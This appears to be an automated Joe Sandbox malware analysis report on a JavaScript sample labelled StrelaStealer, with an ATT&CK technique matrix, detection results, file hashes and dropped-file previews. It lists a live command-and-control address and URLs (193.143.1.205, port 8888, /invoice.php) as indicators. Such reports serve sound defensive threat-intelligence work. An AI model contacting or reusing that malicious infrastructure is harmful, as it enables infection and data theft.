Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2227274219703378.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.18	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2570610969.000001C78C0A5000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://www.adobe.co	ReaderMessages.5.dr	false	high
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1368223977.000001D86FE90000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1357803826.000001D86FE8E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1368151683.000001D86FE38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1366553927.000001D86FE68000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1368223977.000001D86FE68000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/space	net.exe, 00000007.00000002.1368151683.000001D86FE38000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1364829558.000001C791460000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588831
Start date and time:	2025-01-11 06:03:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2227274219703378.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 3.219.243.226, 52.22.41.97, 52.6.155.20, 3.233.129.217, 2.23.242.162, 2.23.197.184, 2.22.50.131, 2.22.50.144, 2.16.168.105, 2.16.168.107, 13.107.246.45, 54.224.241.105, 4.175.87.197, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 2227274219703378.js

Simulations

Behavior and APIs

Time	Type	Description
00:04:03	API Interceptor	26x Sleep call for process: powershell.exe modified
00:04:08	API Interceptor	1x Sleep call for process: net.exe modified
00:04:08	API Interceptor	2x Sleep call for process: svchost.exe modified
00:04:16	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	W1POMvaEjU.exe	Get hash	malicious	FormBook	Browse	217.20.57.18
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
bg.microsoft.map.fastly.net	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	22742867259569153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2612377921588116147.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807530477755222
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9o:0J7adfWuK0p/QDfKoPeuP0aN4fqox7
MD5:	1997C035B8791025E49BFB6C0A976942
SHA1:	D1D044751F2BA3241415EFE3C1B053FB744F53D7
SHA-256:	61E2484DD50E6F10583FAF3C02B9FDFB2B8C3625FE2D24B625F9224372B42A93
SHA-512:	D2E3CFA0ADB585DC6212022048B1B4D6AFFF885137D1DF88232BA14B01F6D278B09F61EFF77DD9B404F23310BB6216397473F27BCF6A467C3593222B1A80B116
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x16240c94, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880107880688997
Encrypted:	false
SSDEEP:	1536:vSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:vazaPv4V4fXq2UaB
MD5:	75C7B5630B0CE1B1761F8FA768626307
SHA1:	DBF05B9B63D959A9D237B57E65C4715025051B3C
SHA-256:	1059F5C84AC65F3737D61F3E651A035935F9A8786251485700903888142C32DC
SHA-512:	025F4E5F66784A6C2E6966ABF30B3D033DD5C8F128644038AAE599A1942B7FF76DBA855D2BEB12F780E6EF5588AF9A919D4EB2865770E9EA3030A2B153BA12EE
Malicious:	false
Preview:	.$..... ...............X\...;...{......................X............{.......}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{..................................K@wN.....}.0.................$......}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07960811325549827
Encrypted:	false
SSDEEP:	3:nGlKYeb2rh84GmXlVG0+q2Iqe8llishgMElYllNTt/4ll/Q6beV/:yKzbB9UGE8lZ2YHtc6V
MD5:	6B93E1E1238914FB96B36B192AC442A4
SHA1:	4FD389AA92F829848CA467586C3AE3695CAAA7F8
SHA-256:	4E9268BE2BC61191581B736F503C2A06885633B9916678110F423238C83DD769
SHA-512:	B71B5F47B262021DB6AE8543FBDF8576A227AF397FA70603CD93B9540992AC5CAF51611AA55619EAD86B2B8C2FCD9E60E6DDBC1FF6A3C5F5D4BBC43BF2257940
Malicious:	false
Preview:	.9x@.....................................;...{.......}.......{...............{.......{....:......{..................$......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.139707032013326
Encrypted:	false
SSDEEP:	6:iOuq2PFi2nKuAl9OmbnIFUt2tZmw4fkwOFi2nKuAl9OmbjLJ:7uvdZHAahFUtC/85wZHAaSJ
MD5:	8AD8524DDA4ADB369A45FB6426097F6A
SHA1:	4282CE7DAF35C77AAB12F677C7D9122BD411DC14
SHA-256:	19F0932720A83AF18F768D377BC06D884FE320DFA02BAE1FC591FC44C217EAE3
SHA-512:	073A4EAE9D67A228F2305A6A632DF5E88DBE0F084F207FC1A7DDF4B5B3AD44674001C3D1588070E76BEAC259221FB1FB6596E05EFD546177DE43437107837C7B
Malicious:	false
Preview:	2025/01/11-00:04:08.325 1b24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:04:08.328 1b24 Recovering log #3.2025/01/11-00:04:08.328 1b24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.139707032013326
Encrypted:	false
SSDEEP:	6:iOuq2PFi2nKuAl9OmbnIFUt2tZmw4fkwOFi2nKuAl9OmbjLJ:7uvdZHAahFUtC/85wZHAaSJ
MD5:	8AD8524DDA4ADB369A45FB6426097F6A
SHA1:	4282CE7DAF35C77AAB12F677C7D9122BD411DC14
SHA-256:	19F0932720A83AF18F768D377BC06D884FE320DFA02BAE1FC591FC44C217EAE3
SHA-512:	073A4EAE9D67A228F2305A6A632DF5E88DBE0F084F207FC1A7DDF4B5B3AD44674001C3D1588070E76BEAC259221FB1FB6596E05EFD546177DE43437107837C7B
Malicious:	false
Preview:	2025/01/11-00:04:08.325 1b24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:04:08.328 1b24 Recovering log #3.2025/01/11-00:04:08.328 1b24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.143228115718418
Encrypted:	false
SSDEEP:	6:iONFQYVq2PFi2nKuAl9Ombzo2jMGIFUtagZmw0IkwOFi2nKuAl9Ombzo2jMmLJ:7LVvdZHAa8uFUtag/0I5wZHAa8RJ
MD5:	F34BBFA09BD0B6B411DE46204C982A4A
SHA1:	058E9236822DFA569DFDA58D6393F281895219AC
SHA-256:	71898223B073A1BAB88564570F8E19265EBE2E6566C280BC4C615ECB245A8B66
SHA-512:	F1E2962CD277F985321316B06655B771D889BC8681588DCD249F3FB7093431EE76B83B6FC9294ED31E270CB6C661711AD880038AB759FF15D026F129B6A4BE71
Malicious:	false
Preview:	2025/01/11-00:04:08.366 2050 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:04:08.369 2050 Recovering log #3.2025/01/11-00:04:08.369 2050 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.143228115718418
Encrypted:	false
SSDEEP:	6:iONFQYVq2PFi2nKuAl9Ombzo2jMGIFUtagZmw0IkwOFi2nKuAl9Ombzo2jMmLJ:7LVvdZHAa8uFUtag/0I5wZHAa8RJ
MD5:	F34BBFA09BD0B6B411DE46204C982A4A
SHA1:	058E9236822DFA569DFDA58D6393F281895219AC
SHA-256:	71898223B073A1BAB88564570F8E19265EBE2E6566C280BC4C615ECB245A8B66
SHA-512:	F1E2962CD277F985321316B06655B771D889BC8681588DCD249F3FB7093431EE76B83B6FC9294ED31E270CB6C661711AD880038AB759FF15D026F129B6A4BE71
Malicious:	false
Preview:	2025/01/11-00:04:08.366 2050 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:04:08.369 2050 Recovering log #3.2025/01/11-00:04:08.369 2050 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.964017602542941
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqVShsBdOg2Hbcaq3QYiubpP7E4T3y:Y2sRdsjydMHi3QYhbd7nby
MD5:	FA3E8BA40697B47A08971B0D4599697B
SHA1:	667AD0401B7BAAF5D3B9DB5767B338938FCD5E92
SHA-256:	FDBE75DAF96AB4F3DF2B5C2B4245E1DD438121C9B5F5C87FC4D328F077532C82
SHA-512:	276345E28C45CF9CA6AF7C2DB31EE1DE0A13C8B1F9986BAD0BA6F4F9095E2CEFDAB8F82F0CBA5EE4E888BE292CDBBA78C82DF926F21ECD9F5576B8F924E23084
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381131859922956","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":152663},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e68fca00-51a8-410a-bb64-f0b5bcc89110.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.964017602542941
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqVShsBdOg2Hbcaq3QYiubpP7E4T3y:Y2sRdsjydMHi3QYhbd7nby
MD5:	FA3E8BA40697B47A08971B0D4599697B
SHA1:	667AD0401B7BAAF5D3B9DB5767B338938FCD5E92
SHA-256:	FDBE75DAF96AB4F3DF2B5C2B4245E1DD438121C9B5F5C87FC4D328F077532C82
SHA-512:	276345E28C45CF9CA6AF7C2DB31EE1DE0A13C8B1F9986BAD0BA6F4F9095E2CEFDAB8F82F0CBA5EE4E888BE292CDBBA78C82DF926F21ECD9F5576B8F924E23084
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381131859922956","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":152663},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.233475919202406
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVVD4dlCx:wshFT0h7cZb2EVKZPEANcGIK5EVVD4dM
MD5:	512F8DCDD2CE5E0EF678363341E4D272
SHA1:	257479E7200A73EC08D3946D64BAB4368C79C1B7
SHA-256:	343C7DF34C3B745DEA9556E9C6B023AEC3692833356A3EB6E1266503B3011E87
SHA-512:	7E9E652B3EF7793FB56E6E38902AD26E4AB0630A5424FE5A246A21F922B187F44C3F2158E6FDF4668D3618C57DEB9844A9A22F5A85D8F61CA2D796693DCF0666
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.113832729288463
Encrypted:	false
SSDEEP:	6:iO0FuSVq2PFi2nKuAl9OmbzNMxIFUtLgZmwBIkwOFi2nKuAl9OmbzNMFLJ:70ASVvdZHAa8jFUtLg/BI5wZHAa84J
MD5:	7A4C2BCCEBA7CCB38651B30A3FC26D68
SHA1:	4A1A2BB9A1FD927C6F9601888AF20879B8BDD310
SHA-256:	EDC0050867396C145C7783386F7F69173B1A41FF83F827D1C2037227B791C70B
SHA-512:	0B860EFC1CF397F9F036F16FC6880590934EE5A9BF55676C850981AC26188EC473010A99101E158389B60736F24E42B0A9BAEB221CFC74E69727C557E5E61500
Malicious:	false
Preview:	2025/01/11-00:04:09.034 2050 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:04:09.075 2050 Recovering log #3.2025/01/11-00:04:09.088 2050 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.113832729288463
Encrypted:	false
SSDEEP:	6:iO0FuSVq2PFi2nKuAl9OmbzNMxIFUtLgZmwBIkwOFi2nKuAl9OmbzNMFLJ:70ASVvdZHAa8jFUtLg/BI5wZHAa84J
MD5:	7A4C2BCCEBA7CCB38651B30A3FC26D68
SHA1:	4A1A2BB9A1FD927C6F9601888AF20879B8BDD310
SHA-256:	EDC0050867396C145C7783386F7F69173B1A41FF83F827D1C2037227B791C70B
SHA-512:	0B860EFC1CF397F9F036F16FC6880590934EE5A9BF55676C850981AC26188EC473010A99101E158389B60736F24E42B0A9BAEB221CFC74E69727C557E5E61500
Malicious:	false
Preview:	2025/01/11-00:04:09.034 2050 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:04:09.075 2050 Recovering log #3.2025/01/11-00:04:09.088 2050 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438274637148091
Encrypted:	false
SSDEEP:	384:yejci5G6iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:0aurVgazUpUTTGt
MD5:	6B612108076A5EF4C18F6934D282A5CB
SHA1:	C1F34DDE112F59888A9318445689FFCE0DD61164
SHA-256:	05F41FB29F9F3E4A9FA4F0FFD671B59EB9A4FFA3315A50557026187F25941CFD
SHA-512:	F628604959F83D7711B3826DA7C3D41220256458188BEE33DD9A77746DFFB6685508F9A6BC6D815FC3A8307B8A9F747D4C4B4D26B2E9AF1B604C2FBA1CC6032D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7725489124559966
Encrypted:	false
SSDEEP:	48:7Mdp/E2ioyVLioy5oWoy1CUoy1bKOioy1noy1AYoy1Wioy1hioybioy7oy1noy1B:7ypjuLJ6XKQCfb9IVXEBodRBk1
MD5:	C02B5716768F9086F1B1B94BCF0EABDB
SHA1:	761FF152188727EC7E9E8A55A060CE2F8207BC48
SHA-256:	71363782C7B3EF0EC111E56D67DB43E4850B163837AEF29040838A7977957A25
SHA-512:	D5ED5C38F914BFCF171889ECF8D27DA8280257AA604E03D646E3D02657619A8FB1DAE5C21CBBEFFCC5FFCD5D9F0F1531A66E32FFF4307DCFB353414C76FBC564
Malicious:	false
Preview:	.... .c......*k................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
